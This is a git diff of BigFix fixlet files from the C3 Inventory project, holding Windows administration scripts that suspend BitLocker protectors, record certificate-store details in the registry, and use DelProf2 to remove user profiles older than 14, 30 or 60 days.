+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+
+manage-bde -protectors -disable &quot;{name of drive of system folder}&quot;
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Certificate Store Probe - Windows (24040).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Certificate Store Probe - Windows (24040).bes
index 117e9f8da..691a5d297 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Certificate Store Probe - Windows (24040).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Certificate Store Probe - Windows (24040).bes	
@@ -1,107 +1,107 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Certificate Store Probe - Windows
-  ID       : 24040
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-14T07:44:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Certificate Store Probe - Windows</Title>
-    <Description><![CDATA[<P>This fixlet probes the Windows Certificate Store and outputs a report for consumption by BigFix.</P>
-<P>This fixlet will always be relevant on a Windows system.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store">https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store</A></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Category>Certificate Store</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-08-12</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-//Script will not capture bitlocker recovery password with wow64 redirection enabled
-action uses wow64 redirection {not x64 of operating system}
-
-parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-#Requires -Version 3.0
-$RegStorage = &quot;HKLM:\Software\C3 Inventory\Certificate Store&quot;
-
-function Write-CertToRegistry{{
-    param (
-        [System.Security.Cryptography.X509Certificates.X509Certificate2] $Certificate,
-        [string] $Path,
-        [string] $Childpath
-    )
-
-#    $Storage = &quot;$($Global:RegStorage)\$($Certificate.PSParentPath.Replace(&quot;Microsoft.PowerShell.Security\Certificate::&quot;,&apos;&apos;))\$($Certificate.ThumbPrint)&quot;
-    $Storage = &quot;$Path\$ChildPath\$($Certificate.ThumbPrint)&quot;
-
-    New-Item $Storage -force -ErrorAction SilentlyContinue | out-null
-
-    new-ItemProperty -Path $Storage -Name &quot;Subject&quot; -Value $Certificate.Subject | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Friendly Name&quot; -Value $Certificate.FriendlyName | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Issuer&quot; -Value $Certificate.Issuer | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Serial Number&quot; -Value $Certificate.SerialNumber | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Not Before&quot; -Value $Certificate.NotBefore | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Not Before Date&quot; -Value $Certificate.NotBefore.ToString(&quot;ddd, dd MMM yyyy&quot;) | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Not Before Time&quot; -Value $Certificate.NotBefore.ToString(&quot;HH:mm:ss&quot;) | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Not After&quot; -Value $Certificate.NotAfter | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Not After Date&quot; -Value $Certificate.NotAfter.ToString(&quot;ddd, dd MMM yyyy&quot;) | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Not After Time&quot; -Value $Certificate.NotAfter.ToString(&quot;HH:mm:ss&quot;) | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Format&quot; -Value $Certificate.GetFormat() | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Archived&quot; -Value $Certificate.Archived | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Private Key&quot; -Value $Certificate.HasPrivateKey | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Algorithm&quot; -Value ($Certificate.SignatureAlgorithm.FriendlyName -join &quot;,&quot;) | out-null
-    new-ItemProperty -Path $Storage -Name &quot;Usage&quot; -Value ($Certificate.EnhancedKeyUsageList.FriendlyName -join &quot;,&quot;) | out-null
-    new-ItemProperty -Path $Storage -Name &quot;DNS&quot; -Value ($Certificate.DnsNameList.Punycode -join &quot;,&quot;)  | out-null
-}
-
-#Clean-up previous cert export
-Remove-Item &quot;HKLM:\Software\Certificates&quot; -Recurse -ErrorAction SilentlyContinue
-
-#Pull all the certificate stores
-$Certificates = Get-ChildItem -Path Cert:\LocalMachine -Recurse
-
-#Iterate over each store
-foreach ($Store in Get-ChildItem -Path Cert:\LocalMachine) {{
-
-    #Iterate over each certificate in each store
-    foreach ($Certificate in Get-ChildItem -Path &quot;Cert:\LocalMachine\$($Store.Name)&quot;) {{
-        Write-CertToRegistry -Certificate $Certificate -Path &quot;$RegStorage\LocalMachine&quot; -childpath $Store.Name
-    }
-}
-
-#Print probe run timestamp
-$Timestamp = get-date
-New-ItemProperty -Path $Global:RegStorage -Name &quot;Last Updated&quot; -Value $Timestamp -Force | out-null
-New-ItemProperty -Path $Global:RegStorage -Name &quot;Last Updated Date&quot; -Value $Timestamp.ToString(&quot;ddd, dd MMM yyyy&quot;) -Force | out-null
-New-ItemProperty -Path $Global:RegStorage -Name &quot;Last Updated Time&quot; -Value $Timestamp.ToString(&quot;HH:mm:ss&quot;) -Force | out-null
-_end_
-
-move __createfile powershell.ps1
-
-waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1
-</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Certificate Store Probe - Windows
+  ID       : 24040
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:44:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Certificate Store Probe - Windows</Title>
+    <Description><![CDATA[<P>This fixlet probes the Windows Certificate Store and outputs a report for consumption by BigFix.</P>
+<P>This fixlet will always be relevant on a Windows system.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store">https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Category>Certificate Store</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-12</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+//Script will not capture bitlocker recovery password with wow64 redirection enabled
+action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+#Requires -Version 3.0
+$RegStorage = &quot;HKLM:\Software\C3 Inventory\Certificate Store&quot;
+
+function Write-CertToRegistry{{
+    param (
+        [System.Security.Cryptography.X509Certificates.X509Certificate2] $Certificate,
+        [string] $Path,
+        [string] $Childpath
+    )
+
+#    $Storage = &quot;$($Global:RegStorage)\$($Certificate.PSParentPath.Replace(&quot;Microsoft.PowerShell.Security\Certificate::&quot;,&apos;&apos;))\$($Certificate.ThumbPrint)&quot;
+    $Storage = &quot;$Path\$ChildPath\$($Certificate.ThumbPrint)&quot;
+
+    New-Item $Storage -force -ErrorAction SilentlyContinue | out-null
+
+    new-ItemProperty -Path $Storage -Name &quot;Subject&quot; -Value $Certificate.Subject | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Friendly Name&quot; -Value $Certificate.FriendlyName | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Issuer&quot; -Value $Certificate.Issuer | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Serial Number&quot; -Value $Certificate.SerialNumber | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not Before&quot; -Value $Certificate.NotBefore | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not Before Date&quot; -Value $Certificate.NotBefore.ToString(&quot;ddd, dd MMM yyyy&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not Before Time&quot; -Value $Certificate.NotBefore.ToString(&quot;HH:mm:ss&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not After&quot; -Value $Certificate.NotAfter | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not After Date&quot; -Value $Certificate.NotAfter.ToString(&quot;ddd, dd MMM yyyy&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not After Time&quot; -Value $Certificate.NotAfter.ToString(&quot;HH:mm:ss&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Format&quot; -Value $Certificate.GetFormat() | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Archived&quot; -Value $Certificate.Archived | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Private Key&quot; -Value $Certificate.HasPrivateKey | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Algorithm&quot; -Value ($Certificate.SignatureAlgorithm.FriendlyName -join &quot;,&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Usage&quot; -Value ($Certificate.EnhancedKeyUsageList.FriendlyName -join &quot;,&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;DNS&quot; -Value ($Certificate.DnsNameList.Punycode -join &quot;,&quot;)  | out-null
+}
+
+#Clean-up previous cert export
+Remove-Item &quot;HKLM:\Software\Certificates&quot; -Recurse -ErrorAction SilentlyContinue
+
+#Pull all the certificate stores
+$Certificates = Get-ChildItem -Path Cert:\LocalMachine -Recurse
+
+#Iterate over each store
+foreach ($Store in Get-ChildItem -Path Cert:\LocalMachine) {{
+
+    #Iterate over each certificate in each store
+    foreach ($Certificate in Get-ChildItem -Path &quot;Cert:\LocalMachine\$($Store.Name)&quot;) {{
+        Write-CertToRegistry -Certificate $Certificate -Path &quot;$RegStorage\LocalMachine&quot; -childpath $Store.Name
+    }
+}
+
+#Print probe run timestamp
+$Timestamp = get-date
+New-ItemProperty -Path $Global:RegStorage -Name &quot;Last Updated&quot; -Value $Timestamp -Force | out-null
+New-ItemProperty -Path $Global:RegStorage -Name &quot;Last Updated Date&quot; -Value $Timestamp.ToString(&quot;ddd, dd MMM yyyy&quot;) -Force | out-null
+New-ItemProperty -Path $Global:RegStorage -Name &quot;Last Updated Time&quot; -Value $Timestamp.ToString(&quot;HH:mm:ss&quot;) -Force | out-null
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 14 days - Windows (24041).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 14 days - Windows (24041).bes
index 12d5bc9ea..d800d406f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 14 days - Windows (24041).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 14 days - Windows (24041).bes	
@@ -1,49 +1,49 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Cleanup User Profiles older than 14 days - Windows
-  ID       : 24041
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-14T07:44:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Cleanup User Profiles older than 14 days - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet will use DelProf2 to cleanup user profiles older than 14 days from the system.</P>
-<P>DelProf2 is free for Non-Profit and Higher Education.&nbsp;For instructions on licensing it for private organizations please visit their homepage: <A href="https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/">https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/</A></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[exists files "NTUSER.DAT" whose (modification time of it < now - 14*day) of folders whose (name of it does not start with "Default" and name of it != "Public" and name of it != "All Users") of folder "Users" of drive of system folder]]></Relevance>
-    <Category>Disk Cleanup</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch DelProf2.zip sha1:B4FFB416395941CBF682ADFE472DCAC7D4E7F533 size:235595 https://helgeklein.com/downloads/DelProf2/current/Delprof2 1.6.0.zip sha256:14EE8BAF68AC5B015613ECDF23D1CC49A7045F791E2F7A1952F32AAD5B4A606B
-
-prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-
-utility __Download\unzip.exe
-
-waithidden __Download\unzip.exe -o &quot;__Download\DelProf2.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
-
-override wait
-hidden=true
-completion=job
-wait &quot;__Download\Delprof2 1.6.0\delprof2.exe&quot; /u /d:14 /i</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Cleanup User Profiles older than 14 days - Windows
+  ID       : 24041
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:44:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Cleanup User Profiles older than 14 days - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will use DelProf2 to cleanup user profiles older than 14 days from the system.</P>
+<P>DelProf2 is free for Non-Profit and Higher Education.&nbsp;For instructions on licensing it for private organizations please visit their homepage: <A href="https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/">https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists files "NTUSER.DAT" whose (modification time of it < now - 14*day) of folders whose (name of it does not start with "Default" and name of it != "Public" and name of it != "All Users") of folder "Users" of drive of system folder]]></Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch DelProf2.zip sha1:B4FFB416395941CBF682ADFE472DCAC7D4E7F533 size:235595 https://helgeklein.com/downloads/DelProf2/current/Delprof2 1.6.0.zip sha256:14EE8BAF68AC5B015613ECDF23D1CC49A7045F791E2F7A1952F32AAD5B4A606B
+
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+utility __Download\unzip.exe
+
+waithidden __Download\unzip.exe -o &quot;__Download\DelProf2.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
+
+override wait
+hidden=true
+completion=job
+wait &quot;__Download\Delprof2 1.6.0\delprof2.exe&quot; /u /d:14 /i</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 30 days - Windows (24042).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 30 days - Windows (24042).bes
index 670a28cb9..33b29592f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 30 days - Windows (24042).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 30 days - Windows (24042).bes	
@@ -1,49 +1,49 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Cleanup User Profiles older than 30 days - Windows
-  ID       : 24042
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-14T07:44:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Cleanup User Profiles older than 30 days - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet will use DelProf2 to cleanup user profiles older than 30 days from the system.</P>
-<P>DelProf2 is free for Non-Profit and Higher Education.&nbsp;For instructions on licensing it for private organizations please visit their homepage: <A href="https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/">https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/</A></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[exists files "NTUSER.DAT" whose (modification time of it < now - 30*day) of folders whose (name of it does not start with "Default" and name of it != "Public" and name of it != "All Users") of folder "Users" of drive of system folder]]></Relevance>
-    <Category>Disk Cleanup</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch DelProf2.zip sha1:B4FFB416395941CBF682ADFE472DCAC7D4E7F533 size:235595 https://helgeklein.com/downloads/DelProf2/current/Delprof2 1.6.0.zip sha256:14EE8BAF68AC5B015613ECDF23D1CC49A7045F791E2F7A1952F32AAD5B4A606B
-
-prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-
-utility __Download\unzip.exe
-
-waithidden __Download\unzip.exe -o &quot;__Download\DelProf2.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
-
-override wait
-hidden=true
-completion=job
-wait &quot;__Download\Delprof2 1.6.0\delprof2.exe&quot; /u /d:30 /i</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Cleanup User Profiles older than 30 days - Windows
+  ID       : 24042
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:44:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Cleanup User Profiles older than 30 days - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will use DelProf2 to cleanup user profiles older than 30 days from the system.</P>
+<P>DelProf2 is free for Non-Profit and Higher Education.&nbsp;For instructions on licensing it for private organizations please visit their homepage: <A href="https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/">https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists files "NTUSER.DAT" whose (modification time of it < now - 30*day) of folders whose (name of it does not start with "Default" and name of it != "Public" and name of it != "All Users") of folder "Users" of drive of system folder]]></Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch DelProf2.zip sha1:B4FFB416395941CBF682ADFE472DCAC7D4E7F533 size:235595 https://helgeklein.com/downloads/DelProf2/current/Delprof2 1.6.0.zip sha256:14EE8BAF68AC5B015613ECDF23D1CC49A7045F791E2F7A1952F32AAD5B4A606B
+
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+utility __Download\unzip.exe
+
+waithidden __Download\unzip.exe -o &quot;__Download\DelProf2.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
+
+override wait
+hidden=true
+completion=job
+wait &quot;__Download\Delprof2 1.6.0\delprof2.exe&quot; /u /d:30 /i</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 60 days - Windows (24043).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 60 days - Windows (24043).bes
index 1aaf98b83..4cb5d2921 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 60 days - Windows (24043).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 60 days - Windows (24043).bes	
@@ -1,49 +1,49 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Cleanup User Profiles older than 60 days - Windows
-  ID       : 24043
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-14T07:44:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Cleanup User Profiles older than 60 days - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet will use DelProf2 to cleanup user profiles older than 60 days from the system.</P>
-<P>DelProf2 is free for Non-Profit and Higher Education.&nbsp;For instructions on licensing it for private organizations please visit their homepage: <A href="https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/">https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/</A></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[exists files "NTUSER.DAT" whose (modification time of it < now - 60*day) of folders whose (name of it does not start with "Default" and name of it != "Public" and name of it != "All Users") of folder "Users" of drive of system folder]]></Relevance>
-    <Category>Disk Cleanup</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch DelProf2.zip sha1:B4FFB416395941CBF682ADFE472DCAC7D4E7F533 size:235595 https://helgeklein.com/downloads/DelProf2/current/Delprof2 1.6.0.zip sha256:14EE8BAF68AC5B015613ECDF23D1CC49A7045F791E2F7A1952F32AAD5B4A606B
-
-prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-
-utility __Download\unzip.exe
-
-waithidden __Download\unzip.exe -o &quot;__Download\DelProf2.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
-
-override wait
-hidden=true
-completion=job
-wait &quot;__Download\Delprof2 1.6.0\delprof2.exe&quot; /u /d:60 /i</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Cleanup User Profiles older than 60 days - Windows
+  ID       : 24043
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:44:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Cleanup User Profiles older than 60 days - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will use DelProf2 to cleanup user profiles older than 60 days from the system.</P>
+<P>DelProf2 is free for Non-Profit and Higher Education.&nbsp;For instructions on licensing it for private organizations please visit their homepage: <A href="https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/">https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists files "NTUSER.DAT" whose (modification time of it < now - 60*day) of folders whose (name of it does not start with "Default" and name of it != "Public" and name of it != "All Users") of folder "Users" of drive of system folder]]></Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
